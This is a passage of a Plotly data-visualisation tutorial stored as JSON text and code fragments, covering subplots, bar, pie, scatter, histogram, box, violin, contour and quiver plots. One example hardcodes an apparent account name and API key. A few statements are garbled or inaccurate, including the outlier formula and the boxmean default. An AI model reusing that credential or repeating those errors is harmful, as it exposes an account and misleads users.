"s": 17066, "text": "Here, additional y axis is configured as yaxis2 and appears on right side, having ‘log’ as title. Resultant plot is as follows −" }, { "code": null, "e": 17271, "s": 17195, "text": "Here, we will understand the concept of subplots and inset plots in Plotly." }, { "code": null, "e": 17480, "s": 17271, "text": "Sometimes it is helpful to compare different views of data side by side. This supports the concept of subplots. It offers make_subplots() function in plotly.tools module. The function returns a Figure object." }, { "code": null, "e": 17537, "s": 17480, "text": "The following statement creates two subplots in one row." }, { "code": null, "e": 17584, "s": 17537, "text": "fig = tools.make_subplots(rows = 1, cols = 2)\n" }, { "code": null, "e": 17677, "s": 17584, "text": "We can now add two different traces (the exp and log traces in example above) to the figure." }, { "code": null, "e": 17740, "s": 17677, "text": "fig.append_trace(trace1, 1, 1)\nfig.append_trace(trace2, 1, 2)\n" }, { "code": null, "e": 17847, "s": 17740, "text": "The Layout of figure is further configured by specifying title, width, height, etc. using update() method." }, { "code": null, "e": 17917, "s": 17847, "text": "fig['layout'].update(height = 600, width = 800s, title = 'subplots')\n" }, { "code": null, "e": 17946, "s": 17917, "text": "Here's the complete script −" }, { "code": null, "e": 18494, "s": 17946, "text": "from plotly import tools\nimport plotly.plotly as py\nimport plotly.graph_objs as go\nfrom plotly.offline import iplot, init_notebook_mode\ninit_notebook_mode(connected = True)\nimport numpy as np\nx = np.arange(1,11)\ny1 = np.exp(x)\ny2 = np.log(x)\ntrace1 = go.Scatter(\n x = x,\n y = y1,\n name = 'exp'\n)\ntrace2 = go.Scatter(\n x = x,\n y = y2,\n name = 'log'\n)\nfig = tools.make_subplots(rows = 1, cols = 2)\nfig.append_trace(trace1, 1, 1)\nfig.append_trace(trace2, 1, 2)\nfig['layout'].update(height = 600, width = 800, title = 'subplot')\niplot(fig)" }, { "code": null, "e": 18564, "s": 18494, "text": "This is the format of your plot grid: [ (1,1) x1,y1 ] [ (1,2) x2,y2 ]" }, { "code": null, "e": 18764, "s": 18564, "text": "To display a subplot as inset, we need to configure its trace object. First the xaxis and yaxis properties of inset trace to ‘x2’ and ‘y2’ respectively. Following statement puts ‘log’ trace in inset." }, { "code": null, "e": 18858, "s": 18764, "text": "trace2 = go.Scatter(\n x = x,\n y = y2,\n xaxis = 'x2',\n yaxis = 'y2',\n name = 'log'\n)" }, { "code": null, "e": 19024, "s": 18858, "text": "Secondly, configure Layout object where the location of x and y axes of inset is defined by domain property that specifies is position with respective to major axis." }, { "code": null, "e": 19139, "s": 19024, "text": "xaxis2=dict(\n domain = [0.1, 0.5],\n anchor = 'y2'\n),\nyaxis2 = dict(\n domain = [0.5, 0.9],\n anchor = 'x2'\n)" }, { "code": null, "e": 19229, "s": 19139, "text": "Complete script to display log trace in inset and exp trace on main axis is given below −" }, { "code": null, "e": 19680, "s": 19229, "text": "trace1 = go.Scatter(\n x = x,\n y = y1,\n name = 'exp'\n)\ntrace2 = go.Scatter(\n x = x,\n y = y2,\n xaxis = 'x2',\n yaxis = 'y2',\n name = 'log'\n)\ndata = [trace1, trace2]\nlayout = go.Layout(\n yaxis = dict(showline = True),\n xaxis2 = dict(\n domain = [0.1, 0.5],\n anchor = 'y2'\n ),\n yaxis2 = dict(\n showline = True,\n domain = [0.5, 0.9],\n anchor = 'x2'\n )\n)\nfig = go.Figure(data=data, layout=layout)\niplot(fig)" }, { "code": null, "e": 19712, "s": 19680, "text": "The output is mentioned below −" }, { "code": null, "e": 19846, "s": 19712, "text": "In this chapter, we will learn how to make bar and pie charts with the help of Plotly. Let us begin by understanding about bar chart." }, { "code": null, "e": 20200, "s": 19846, "text": "A bar chart presents categorical data with rectangular bars with heights or lengths proportional to the values that they represent. Bars can be displayed vertically or horizontally. It helps to show comparisons among discrete categories. One axis of the chart shows the specific categories being compared, and the other axis represents a measured value." }, { "code": null, "e": 20424, "s": 20200, "text": "Following example plots a simple bar chart about number of students enrolled for different courses. The go.Bar() function returns a bar trace with x coordinate set as list of subjects and y coordinate as number of students." }, { "code": null, "e": 20616, "s": 20424, "text": "import plotly.graph_objs as go\nlangs = ['C', 'C++', 'Java', 'Python', 'PHP']\nstudents = [23,17,35,29,12]\ndata = [go.Bar(\n x = langs,\n y = students\n)]\nfig = go.Figure(data=data)\niplot(fig)" }, { "code": null, "e": 20652, "s": 20616, "text": "The output will be as shown below −" }, { "code": null, "e": 20879, "s": 20652, "text": "To display a grouped bar chart, the barmode property of Layout object must be set to group. In the following code, multiple traces representing students in each year are plotted against subjects and shown as grouped bar chart." }, { "code": null, "e": 21284, "s": 20879, "text": "branches = ['CSE', 'Mech', 'Electronics']\nfy = [23,17,35]\nsy = [20, 23, 30]\nty = [30,20,15]\ntrace1 = go.Bar(\n x = branches,\n y = fy,\n name = 'FY'\n)\ntrace2 = go.Bar(\n x = branches,\n y = sy,\n name = 'SY'\n)\ntrace3 = go.Bar(\n x = branches,\n y = ty,\n name = 'TY'\n)\ndata = [trace1, trace2, trace3]\nlayout = go.Layout(barmode = 'group')\nfig = go.Figure(data = data, layout = layout)\niplot(fig)" }, { "code": null, "e": 21323, "s": 21284, "text": "The output of the same is as follows −" }, { "code": null, "e": 21647, "s": 21323, "text": "The barmode property determines how bars at the same location coordinate are displayed on the graph. Defined values are \"stack\" (bars stacked on top of one another), \"relative\", (bars are stacked on top of one another, with negative values below the axis, positive values above), \"group\" (bars plotted next to one another)." }, { "code": null, "e": 21724, "s": 21647, "text": "By changing barmode property to ‘stack’ the plotted graph appears as below −" }, { "code": null, "e": 21933, "s": 21724, "text": "A Pie Chart displays only one series of data. Pie Charts show the size of items (called wedge) in one data series, proportional to the sum of the items. Data points are shown as a percentage of the whole pie." }, { "code": null, "e": 22159, "s": 21933, "text": "The pie() function in graph_objs module – go.Pie(), returns a Pie trace. Two required arguments are labels and values. Let us plot a simple pie chart of language courses vs number of students as in the example given herewith." }, { "code": null, "e": 22568, "s": 22159, "text": "import plotly\nplotly.tools.set_credentials_file(\n username = 'lathkar', api_key = 'U7vgRe1hqmRp4ZNf4PTN'\n)\nfrom plotly.offline import iplot, init_notebook_mode\ninit_notebook_mode(connected = True)\nimport plotly.graph_objs as go\nlangs = ['C', 'C++', 'Java', 'Python', 'PHP']\nstudents = [23,17,35,29,12]\ntrace = go.Pie(labels = langs, values = students)\ndata = [trace]\nfig = go.Figure(data = data)\niplot(fig)" }, { "code": null, "e": 22620, "s": 22568, "text": "Following output is displayed in Jupyter notebook −" }, { "code": null, "e": 22914, "s": 22620, "text": "Donut chart is a pie chart with a round hole in the center which makes it look like a donut. In the following example, two donut charts are displayed in 1X2 grid layout. While ‘label’ layout is same for both pie traces, row and column destination of each subplot is decided by domain property." }, { "code": null, "e": 23068, "s": 22914, "text": "For this purpose, we use the data of party-wise seats and vote share in 2019 parliamentary elections. Enter the following code in Jupyter notebook cell −" }, { "code": null, "e": 24255, "s": 23068, "text": "parties = ['BJP', 'CONGRESS', 'DMK', 'TMC', 'YSRC', 'SS', 'JDU','BJD', 'BSP','OTH']\nseats = [303,52,23,22,22,18,16,12,10, 65]\npercent = [37.36, 19.49, 2.26, 4.07, 2.53, 2.10, 1.46, 1.66, 3.63, 25.44]\nimport plotly.graph_objs as go\ndata1 = {\n \"values\": seats,\n \"labels\": parties,\n \"domain\": {\"column\": 0},\n \"name\": \"seats\",\n \"hoverinfo\":\"label+percent+name\",\n \"hole\": .4,\n \"type\": \"pie\"\n}\ndata2 = {\n \"values\": percent,\n \"labels\": parties,\n \"domain\": {\"column\": 1},\n \"name\": \"vote share\",\n \"hoverinfo\":\"label+percent+name\",\n \"hole\": .4,\n \"type\": \"pie\"\n}\ndata = [data1,data2]\nlayout = go.Layout(\n {\n \"title\":\"Parliamentary Election 2019\",\n \"grid\": {\"rows\": 1, \"columns\": 2},\n \"annotations\": [\n {\n \"font\": {\n \"size\": 20\n },\n \"showarrow\": False,\n \"text\": \"seats\",\n \"x\": 0.20,\n \"y\": 0.5\n },\n {\n \"font\": {\n \"size\": 20\n },\n \"showarrow\": False,\n \"text\": \"votes\",\n \"x\": 0.8,\n \"y\": 0.5\n }\n ]\n }\n)\nfig = go.Figure(data = data, layout = layout)\niplot(fig)" }, { "code": null, "e": 24295, "s": 24255, "text": "The output of the same is given below −" }, { "code": null, "e": 24424, "s": 24295, "text": "This chapter emphasizes on details about Scatter Plot, Scattergl Plot and Bubble Charts. First, let us study about Scatter Plot." }, { "code": null, "e": 24676, "s": 24424, "text": "Scatter plots are used to plot data points on a horizontal and a vertical axis to show how one variable affects another. Each row in the data table is represented by a marker whose position depends on its values in the columns set on the X and Y axes." }, { "code": null, "e": 25076, "s": 24676, "text": "The scatter() method of graph_objs module (go.Scatter) produces a scatter trace. Here, the mode property decides the appearance of data points. Default value of mode is lines which displays a continuous line connecting data points. If set to markers, only the data points represented by small filled circles are displayed. When mode is assigned ‘lines+markers’, both circles and lines are displayed." }, { "code": null, "e": 25268, "s": 25076, "text": "In the following example, plots scatter traces of three sets of randomly generated points in Cartesian coordinate system. Each trace displayed with different mode property is explained below." }, { "code": null, "e": 25753, "s": 25268, "text": "import numpy as np\nN = 100\nx_vals = np.linspace(0, 1, N)\ny1 = np.random.randn(N) + 5\ny2 = np.random.randn(N)\ny3 = np.random.randn(N) - 5\ntrace0 = go.Scatter(\n x = x_vals,\n y = y1,\n mode = 'markers',\n name = 'markers'\n)\ntrace1 = go.Scatter(\n x = x_vals,\n y = y2,\n mode = 'lines+markers',\n name = 'line+markers'\n)\ntrace2 = go.Scatter(\n x = x_vals,\n y = y3,\n mode = 'lines',\n name = 'line'\n)\ndata = [trace0, trace1, trace2]\nfig = go.Figure(data = data)\niplot(fig)" }, { "code": null, "e": 25809, "s": 25753, "text": "The output of Jupyter notebook cell is as given below −" }, { "code": null, "e": 26097, "s": 25809, "text": "WebGL (Web Graphics Library) is a JavaScript API for rendering interactive 2D and 3D graphics within any compatible web browser without the use of plug-ins. WebGL is fully integrated with other web standards, allowing Graphics Processing Unit (GPU) accelerated usage of image processing." }, { "code": null, "e": 26360, "s": 26097, "text": "Plotly you can implement WebGL with Scattergl() in place of Scatter() for increased speed, improved interactivity, and the ability to plot even more data. The go.scattergl() function which gives better performance when a large number of data points are involved." }, { "code": null, "e": 26617, "s": 26360, "text": "import numpy as np\nN = 100000\nx = np.random.randn(N)\ny = np.random.randn(N)\n trace0 = go.Scattergl(\n x = x, y = y, mode = 'markers'\n)\ndata = [trace0]\nlayout = go.Layout(title = \"scattergl plot \")\nfig = go.Figure(data = data, layout = layout)\niplot(fig)" }, { "code": null, "e": 26649, "s": 26617, "text": "The output is mentioned below −" }, { "code": null, "e": 26966, "s": 26649, "text": "A bubble chart displays three dimensions of data. Each entity with its three dimensions of associated data is plotted as a disk (bubble) that expresses two of the dimensions through the disk's xy location and the third through its size. The sizes of the bubbles are determined by the values in the third data series." }, { "code": null, "e": 27164, "s": 26966, "text": "Bubble chart is a variation of the scatter plot, in which the data points are replaced with bubbles. If your data has three dimensions as shown below, creating a Bubble chart will be a good choice." }, { "code": null, "e": 27466, "s": 27164, "text": "Bubble chart is produced with go.Scatter() trace. Two of the above data series are given as x and y properties. Third dimension is shown by marker with its size representing third data series. In the above mentioned case, we use products and sale as x and y properties and market share as marker size." }, { "code": null, "e": 27512, "s": 27466, "text": "Enter the following code in Jupyter notebook." }, { "code": null, "e": 27895, "s": 27512, "text": "company = ['A','B','C']\nproducts = [13,6,23]\nsale = [2354,5423,4251]\nshare = [23,47,30]\nfig = go.Figure(data = [go.Scatter(\n x = products, y = sale,\n text = [\n 'company:'+c+' share:'+str(s)+'%' \n for c in company for s in share if company.index(c)==share.index(s)\n ],\n mode = 'markers',\n marker_size = share, marker_color = ['blue','red','yellow'])\n])\niplot(fig)" }, { "code": null, "e": 27932, "s": 27895, "text": "The output would be as shown below −" }, { "code": null, "e": 28036, "s": 27932, "text": "Here, we will learn about dot plots and table function in Plotly. Firstly, let us start with dot plots." }, { "code": null, "e": 28337, "s": 28036, "text": "A dot plot displays points on a very simple scale. It is only suitable for a small amount of data as a large number of points will make it look very cluttered. Dot plots are also known as Cleveland dot plots. They show changes between two (or more) points in time or between two (or more) conditions." }, { "code": null, "e": 28540, "s": 28337, "text": "Dot plots are similar to horizontal bar chart. However, they can be less cluttered and allow an easier comparison between conditions. The figure plots a scatter trace with mode attribute set to markers." }, { "code": null, "e": 28779, "s": 28540, "text": "Following example shows comparison of literacy rate amongst men and women as recorded in each census after independence of India. Two traces in the graph represent literacy percentage of men and women in each census after 1951 up to 2011." }, { "code": null, "e": 29498, "s": 28779, "text": "from plotly.offline import iplot, init_notebook_mode\ninit_notebook_mode(connected = True)\ncensus = [1951,1961,1971,1981,1991,2001, 2011]\nx1 = [8.86, 15.35, 21.97, 29.76, 39.29, 53.67, 64.63]\nx2 = [27.15, 40.40, 45.96, 56.38,64.13, 75.26, 80.88]\ntraceA = go.Scatter(\n x = x1,\n y = census,\n marker = dict(color = \"crimson\", size = 12),\n mode = \"markers\",\n name = \"Women\"\n)\ntraceB = go.Scatter(\nx = x2,\ny = census,\nmarker = dict(color = \"gold\", size = 12),\nmode = \"markers\",\nname = \"Men\")\ndata = [traceA, traceB]\nlayout = go.Layout(\n title = \"Trend in Literacy rate in Post independent India\",\n xaxis_title = \"percentage\",\n yaxis_title = \"census\"\n)\nfig = go.Figure(data = data, layout = layout)\niplot(fig)" }, { "code": null, "e": 29535, "s": 29498, "text": "The output would be as shown below −" }, { "code": null, "e": 29784, "s": 29535, "text": "Plotly's Table object is returned by go.Table() function. Table trace is a graph object useful for detailed data viewing in a grid of rows and columns. Table is using a column-major order, i.e. the grid is represented as a vector of column vectors." }, { "code": null, "e": 30064, "s": 29784, "text": "Two important parameters of go.Table() function are header which is the first row of table and cells which form rest of rows. Both parameters are dictionary objects. The values attribute of headers is a list of column headings, and a list of lists, each corresponding to one row." }, { "code": null, "e": 30155, "s": 30064, "text": "Further styling customization is done by linecolor, fill_color, font and other attributes." }, { "code": null, "e": 30263, "s": 30155, "text": "Following code displays the points table of round robin stage of recently concluded Cricket World Cup 2019." }, { "code": null, "e": 31189, "s": 30263, "text": "trace = go.Table(\n header = dict(\n values = ['Teams','Mat','Won','Lost','Tied','NR','Pts','NRR'],\n line_color = 'gray',\n fill_color = 'lightskyblue',\n align = 'left'\n ),\n cells = dict(\n values = \n [\n [\n 'India',\n 'Australia',\n 'England',\n 'New Zealand',\n 'Pakistan',\n 'Sri Lanka',\n 'South Africa',\n 'Bangladesh',\n 'West Indies',\n 'Afghanistan'\n ],\n [9,9,9,9,9,9,9,9,9,9],\n [7,7,6,5,5,3,3,3,2,0],\n [1,2,3,3,3,4,5,5,6,9],\n [0,0,0,0,0,0,0,0,0,0],\n [1,0,0,1,1,2,1,1,1,0],\n [15,14,12,11,11,8,7,7,5,0],\n [0.809,0.868,1.152,0.175,-0.43,-0.919,-0.03,-0.41,-0.225,-1.322]\n ],\n line_color='gray',\n fill_color='lightcyan',\n align='left'\n )\n)\ndata = [trace]\nfig = go.Figure(data = data)\niplot(fig)" }, { "code": null, "e": 31224, "s": 31189, "text": "The output is as mentioned below −" }, { "code": null, "e": 31347, "s": 31224, "text": "Table data can also be populated from Pandas dataframe. Let us create a comma separated file (points-table.csv) as below −" }, { "code": null, "e": 31680, "s": 31347, "text": "Teams,Matches,Won,Lost,Tie,NR,Points,NRR\nIndia,9,7,1,0,1,15,0.809\nAustralia,9,7,2,0,0,14,0.868\nEngland,9,6,3,0,0,12,1.152\nNew Zealand,9,5,3,0,1,11,0.175\nPakistan,9,5,3,0,1,11,-0.43\nSri Lanka,9,3,4,0,2,8,-0.919\nSouth Africa,9,3,5,0,1,7,-0.03\nBangladesh,9,3,5,0,1,7,-0.41\nWest Indies,9,2,6,0,1,5,-0.225\nAfghanistan,9,0,9,0,0,0,-1.322\n" }, { "code": null, "e": 31782, "s": 31680, "text": "We now construct a dataframe object from this csv file and use it to construct table trace as below −" }, { "code": null, "e": 32156, "s": 31782, "text": "import pandas as pd\ndf = pd.read_csv('point-table.csv')\ntrace = go.Table(\n header = dict(values = list(df.columns)),\n cells = dict(\n values = [\n df.Teams, \n df.Matches, \n df.Won, \n df.Lost, \n df.Tie, \n df.NR, \n df.Points, \n df.NRR\n ]\n )\n)\ndata = [trace]\nfig = go.Figure(data = data)\niplot(fig)" }, { "code": null, "e": 32462, "s": 32156, "text": "Introduced by Karl Pearson, a histogram is an accurate representation of the distribution of numerical data which is an estimate of the probability distribution of a continuous variable (CORAL). It appears similar to bar graph, but, a bar graph relates two variables, whereas a histogram relates only one." }, { "code": null, "e": 32878, "s": 32462, "text": "A histogram requires bin (or bucket) which divides the entire range of values into a series of intervals—and then count how many values fall into each interval. The bins are usually specified as consecutive, non-overlapping intervals of a variable. The bins must be adjacent, and are often of equal size. A rectangle is erected over the bin with height proportional to the frequency—the number of cases in each bin." }, { "code": null, "e": 33126, "s": 32878, "text": "Histogram trace object is returned by go.Histogram() function. Its customization is done by various arguments or attributes. One essential argument is x or y set to a list, numpy array or Pandas dataframe object which is to be distributed in bins." }, { "code": null, "e": 33354, "s": 33126, "text": "By default, Plotly distributes the data points in automatically sized bins. However, you can define custom bin size. For that you need to set autobins to false, specify nbins (number of bins), its start and end values and size." }, { "code": null, "e": 33482, "s": 33354, "text": "Following code generates a simple histogram showing distribution of marks of students in a class inbins (sized automatically) −" }, { "code": null, "e": 33624, "s": 33482, "text": "import numpy as np\nx1 = np.array([22,87,5,43,56,73,55,54,11,20,51,5,79,31,27])\ndata = [go.Histogram(x = x1)]\nfig = go.Figure(data)\niplot(fig)" }, { "code": null, "e": 33655, "s": 33624, "text": "The output is as shown below −" }, { "code": null, "e": 34215, "s": 33655, "text": "The go.Histogram() function accepts histnorm, which specifies the type of normalization used for this histogram trace. Default is \"\", the span of each bar corresponds to the number of occurrences (i.e. the number of data points lying inside the bins). If assigned \"percent\" / \"probability\", the span of each bar corresponds to the percentage / fraction of occurrences with respect to the total number of sample points. If it is equal to \"density\", the span of each bar corresponds to the number of occurrences in a bin divided by the size of the bin interval." }, { "code": null, "e": 34398, "s": 34215, "text": "There is also histfunc parameter whose default value is count. As a result, height of rectangle over a bin corresponds to count of data points. It can be set to sum, avg, min or max." }, { "code": null, "e": 34587, "s": 34398, "text": "The histogram() function can be set to display cumulative distribution of values in successive bins. For that, you need to set cumulative property to enabled. Result can be seen as below −" }, { "code": null, "e": 34675, "s": 34587, "text": "data=[go.Histogram(x = x1, cumulative_enabled = True)]\nfig = go.Figure(data)\niplot(fig)" }, { "code": null, "e": 34710, "s": 34675, "text": "The output is as mentioned below −" }, { "code": null, "e": 34890, "s": 34710, "text": "This chapter focusses on detail understanding about various plots including box plot, violin plot, contour plot and quiver plot. Initially, we will begin with the Box Plot follow." }, { "code": null, "e": 35387, "s": 34890, "text": "A box plot displays a summary of a set of data containing the minimum, first quartile, median, third quartile, and maximum. In a box plot, we draw a box from the first quartile to the third quartile. A vertical line goes through the box at the median. The lines extending vertically from the boxes indicating variability outside the upper and lower quartiles are called whiskers. Hence, box plot is also known as box and whisker plot. The whiskers go from each quartile to the minimum or maximum." }, { "code": null, "e": 35729, "s": 35387, "text": "To draw Box chart, we have to use go.Box() function. The data series can be assigned to x or y parameter. Accordingly, the box plot will be drawn horizontally or vertically. In following example, sales figures of a certain company in its various branches is converted in horizontal box plot. It shows the median of minimum and maximum value." }, { "code": null, "e": 35835, "s": 35729, "text": "trace1 = go.Box(y = [1140,1460,489,594,502,508,370,200])\ndata = [trace1]\nfig = go.Figure(data)\niplot(fig)" }, { "code": null, "e": 35879, "s": 35835, "text": "The output of the same will be as follows −" }, { "code": null, "e": 36023, "s": 35879, "text": "The go.Box() function can be given various other parameters to control the appearance and behaviour of box plot. One such is boxmean parameter." }, { "code": null, "e": 36254, "s": 36023, "text": "The boxmean parameter is set to true by default. As a result, the mean of the boxes' underlying distribution is drawn as a dashed line inside the boxes. If it is set to sd, the standard deviation of the distribution is also drawn." }, { "code": null, "e": 36570, "s": 36254, "text": "The boxpoints parameter is by default equal to \"outliers\". Only the sample points lying outside the whiskers are shown. If \"suspectedoutliers\", the outlier points are shown and points either less than 4\"Q1-3\"Q3 or greater than 4\"Q3-3\"Q1 are highlighted. If \"False\", only the box(es) are shown with no sample points." }, { "code": null, "e": 36663, "s": 36570, "text": "In the following example, the box trace is drawn with standard deviation and outlier points." }, { "code": null, "e": 36943, "s": 36663, "text": "trc = go.Box(\n y = [\n 0.75, 5.25, 5.5, 6, 6.2, 6.6, 6.80, 7.0, 7.2, 7.5, 7.5, 7.75, 8.15,\n 8.15, 8.65, 8.93, 9.2, 9.5, 10, 10.25, 11.5, 12, 16, 20.90, 22.3, 23.25\n ],\n boxpoints = 'suspectedoutliers', boxmean = 'sd'\n)\ndata = [trc]\nfig = go.Figure(data)\niplot(fig)" }, { "code": null, "e": 36984, "s": 36943, "text": "The output of the same is stated below −" }, { "code": null, "e": 37444, "s": 36984, "text": "Violin plots are similar to box plots, except that they also show the probability density of the data at different values. Violin plots will include a marker for the median of the data and a box indicating the interquartile range, as in standard box plots. Overlaid on this box plot is a kernel density estimation. Like box plots, violin plots are used to represent comparison of a variable distribution (or sample distribution) across different \"categories\"." }, { "code": null, "e": 37660, "s": 37444, "text": "A violin plot is more informative than a plain box plot. In fact, while a box plot only shows summary statistics such as mean/median and interquartile ranges, the violin plot shows the full distribution of the data." }, { "code": null, "e": 37956, "s": 37660, "text": "Violin trace object is returned by go.Violin() function in graph_objects module. In order to display underlying box plot, the boxplot_visible attribute is set to True. Similarly, by setting meanline_visible property to true, a line corresponding to the sample's mean is shown inside the violins." }, { "code": null, "e": 38046, "s": 37956, "text": "Following example demonstrates how Violin plot is displayed using plotly’s functionality." }, { "code": null, "e": 38318, "s": 38046, "text": "import numpy as np\nnp.random.seed(10)\nc1 = np.random.normal(100, 10, 200)\nc2 = np.random.normal(80, 30, 200)\ntrace1 = go.Violin(y = c1, meanline_visible = True)\ntrace2 = go.Violin(y = c2, box_visible = True)\ndata = [trace1, trace2]\nfig = go.Figure(data = data)\niplot(fig)" }, { "code": null, "e": 38345, "s": 38318, "text": "The output is as follows −" }, { "code": null, "e": 38608, "s": 38345, "text": "A 2D contour plot shows the contour lines of a 2D numerical array z, i.e. interpolated lines of isovalues of z. A contour line of a function of two variables is a curve along which the function has a constant value, so that the curve joins points of equal value." }, { "code": null, "e": 38856, "s": 38608, "text": "A contour plot is appropriate if you want to see how some value Z changes as a function of two inputs, X and Y such that Z = f(X,Y). A contour line or isoline of a function of two variables is a curve along which the function has a constant value." }, { "code": null, "e": 39048, "s": 38856, "text": "The independent variables x and y are usually restricted to a regular grid called meshgrid. The numpy.meshgrid creates a rectangular grid out of an array of x values and an array of y values." }, { "code": null, "e": 39236, "s": 39048, "text": "Let us first create data values for x, y and z using linspace() function from Numpy library. We create a meshgrid from x and y values and obtain z array consisting of square root of x2+y2" }, { "code": null, "e": 39409, "s": 39236, "text": "We have go.Contour() function in graph_objects module which takes x,y and z attributes. Following code snippet displays contour plot of x, y and z values computed as above." }, { "code": null, "e": 39654, "s": 39409, "text": "import numpy as np\nxlist = np.linspace(-3.0, 3.0, 100)\nylist = np.linspace(-3.0, 3.0, 100)\nX, Y = np.meshgrid(xlist, ylist)\nZ = np.sqrt(X**2 + Y**2)\ntrace = go.Contour(x = xlist, y = ylist, z = Z)\ndata = [trace]\nfig = go.Figure(data)\niplot(fig)" }, { "code": null, "e": 39681, "s": 39654, "text": "The output is as follows −" }, { "code": null, "e": 39757, "s": 39681, "text": "The contour plot can be customized by one or more of following parameters −" }, { "code": null, "e": 39802, "s": 39757, "text": "Transpose (boolean) − Transposes the z data." }, { "code": null, "e": 39847, "s": 39802, "text": "Transpose (boolean) − Transposes the z data." }, { "code": null, "e": 39976, "s": 39847, "text": "If xtype (or ytype) equals \"array\", x/y coordinates are given by \"x\"/\"y\". If \"scaled\", x coordinates are given by \"x0\" and \"dx\"." }, { "code": null, "e": 40062, "s": 39976, "text": "The connectgaps parameter determines whether or not gaps in the z data are filled in." }, { "code": null, "e": 40148, "s": 40062, "text": "The connectgaps parameter determines whether or not gaps in the z data are filled in." }, { "code": null, "e": 40352, "s": 40148, "text": "Default value of ncontours parameter is 15. The actual number of contours will be chosen automatically to be less than or equal to the value of `ncontours`. Has an effect only if `autocontour` is \"True\"." }, { "code": null, "e": 40556, "s": 40352, "text": "Default value of ncontours parameter is 15. The actual number of contours will be chosen automatically to be less than or equal to the value of `ncontours`. Has an effect only if `autocontour` is \"True\"." }, { "code": null, "e": 40807, "s": 40556, "text": "Contours type is by default: \"levels\" so the data is represented as a contour plot with multiple levels displayed. If constrain, the data is represented as constraints with the invalid region shaded as specified by the operation and value parameters." }, { "code": null, "e": 40874, "s": 40807, "text": "showlines − Determines whether or not the contour lines are drawn." }, { "code": null, "e": 41106, "s": 40874, "text": "zauto is True by default and determines whether or not the color domain is computed with respect to the input data (here in `z`) or the bounds set in `zmin` and `zmax` Defaults to `False` when `zmin` and `zmax` are set by the user." }, { "code": null, "e": 41343, "s": 41106, "text": "Quiver plot is also known as velocity plot. It displays velocity vectors as arrows with components (u,v) at the points (x,y). In order to draw Quiver plot, we will use create_quiver() function defined in figure_factory module in Plotly." }, { "code": null, "e": 41544, "s": 41343, "text": "Plotly's Python API contains a figure factory module which includes many wrapper functions that create unique chart types that are not yet included in plotly.js, Plotly's open-source graphing library." }, { "code": null, "e": 41604, "s": 41544, "text": "The create_quiver() function accepts following parameters −" }, { "code": null, "e": 41645, "s": 41604, "text": "x − x coordinates of the arrow locations" }, { "code": null, "e": 41686, "s": 41645, "text": "x − x coordinates of the arrow locations" }, { "code": null, "e": 41727, "s": 41686, "text": "y − y coordinates of the arrow locations" }, { "code": null, "e": 41768, "s": 41727, "text": "y − y coordinates of the arrow locations" }, { "code": null, "e": 41806, "s": 41768, "text": "u − x components of the arrow vectors" }, { "code": null, "e": 41844, "s": 41806, "text": "u − x components of the arrow vectors" }, { "code": null, "e": 41882, "s": 41844, "text": "v − y components of the arrow vectors" }, { "code": null, "e": 41920, "s": 41882, "text": "v − y components of the arrow vectors" }, { "code": null, "e": 41954, "s": 41920, "text": "scale − scales size of the arrows" }, { "code": null, "e": 41988, "s": 41954, "text": "scale − scales size of the arrows" }, { "code": null, "e": 42023, "s": 41988, "text": "arrow_scale − length of arrowhead." }, { "code": null, "e": 42058, "s": 42023, "text": "arrow_scale − length of arrowhead." }, { "code": null, "e": 42086, "s": 42058, "text": "angle − angle of arrowhead." }, { "code": null, "e": 42114, "s": 42086, "text": "angle − angle of arrowhead." }, { "code": null, "e": 42180, "s": 42114, "text": "Following code renders a simple quiver plot in Jupyter notebook −" }, { "code": null, "e": 42496, "s": 42180, "text": "import plotly.figure_factory as ff\nimport numpy as np\nx,y = np.meshgrid(np.arange(-2, 2, .2), np.arange(-2, 2, .25))\nz = x*np.exp(-x**2 - y**2)\nv, u = np.gradient(z, .2, .2)\n\n# Create quiver figure\nfig = ff.create_quiver(x, y, u, v,\nscale = .25, arrow_scale = .4,\nname = 'quiver', line = dict(width = 1))\niplot(fig)" }, { "code": null, "e": 42531, "s": 42496, "text": "Output of the code is as follows −" }, { "code": null, "e": 42669, "s": 42531, "text": "In this chapter, we will understand about distplots, density plot and error bar plot in detail. Let us begin by learning about distplots." }, { "code": null, "e": 42846, "s": 42669, "text": "The distplot figure factory displays a combination of statistical representations of numerical data, such as histogram, kernel density estimation or normal curve, and rug plot." }, { "code": null, "e": 42933, "s": 42846, "text": "The distplot can be composed of all or any combination of the following 3 components −" }, { "code": null, "e": 42943, "s": 42933, "text": "histogram" }, { "code": null, "e": 43005, "s": 42943, "text": "curve: (a) kernel density estimation or (b) normal curve, and" }, { "code": null, "e": 43014, "s": 43005, "text": "rug plot" }, { "code": null, "e": 43123, "s": 43014, "text": "The figure_factory module has create_distplot() function which needs a mandatory parameter called hist_data." }, { "code": null, "e": 43217, "s": 43123, "text": "Following code creates a basic distplot consisting of a histogram, a kde plot and a rug plot." }, { "code": null, "e": 43348, "s": 43217, "text": "x = np.random.randn(1000)\nhist_data = [x]\ngroup_labels = ['distplot']\nfig = ff.create_distplot(hist_data, group_labels)\niplot(fig)" }, { "code": null, "e": 43403, "s": 43348, "text": "The output of the code mentioned above is as follows −" }, { "code": null, "e": 43752, "s": 43403, "text": "A density plot is a smoothed, continuous version of a histogram estimated from the data. The most common form of estimation is known as kernel density estimation (KDE). In this method, a continuous curve (the kernel) is drawn at every individual data point and all of these curves are then added together to make a single smooth density estimation." }, { "code": null, "e": 43876, "s": 43752, "text": "The create_2d_density() function in module plotly.figure_factory._2d_density returns a figure object for a 2D density plot." }, { "code": null, "e": 43947, "s": 43876, "text": "Following code is used to produce 2D Density plot over histogram data." }, { "code": null, "e": 44109, "s": 43947, "text": "t = np.linspace(-1, 1.2, 2000)\nx = (t**3) + (0.3 * np.random.randn(2000))\ny = (t**6) + (0.3 * np.random.randn(2000))\nfig = ff.create_2d_density( x, y)\niplot(fig)" }, { "code": null, "e": 44164, "s": 44109, "text": "Below mentioned is the output of the above given code." }, { "code": null, "e": 44371, "s": 44164, "text": "Error bars are graphical representations of the error or uncertainty in data, and they assist correct interpretation. For scientific purposes, reporting of errors is crucial in understanding the given data." }, { "code": null, "e": 44511, "s": 44371, "text": "Error bars are useful to problem solvers because error bars show the confidence or precision in a set of measurements or calculated values." }, { "code": null, "e": 44747, "s": 44511, "text": "Mostly error bars represent range and standard deviation of a dataset. They can help visualize how the data is spread around the mean value. Error bars can be generated on variety of plots such as bar plot, line plot, scatter plot etc." }, { "code": null, "e": 44851, "s": 44747, "text": "The go.Scatter() function has error_x and error_y properties that control how error bars are generated." }, { "code": null, "e": 44932, "s": 44851, "text": "visible (boolean) − Determines whether or not this set of error bars is visible." }, { "code": null, "e": 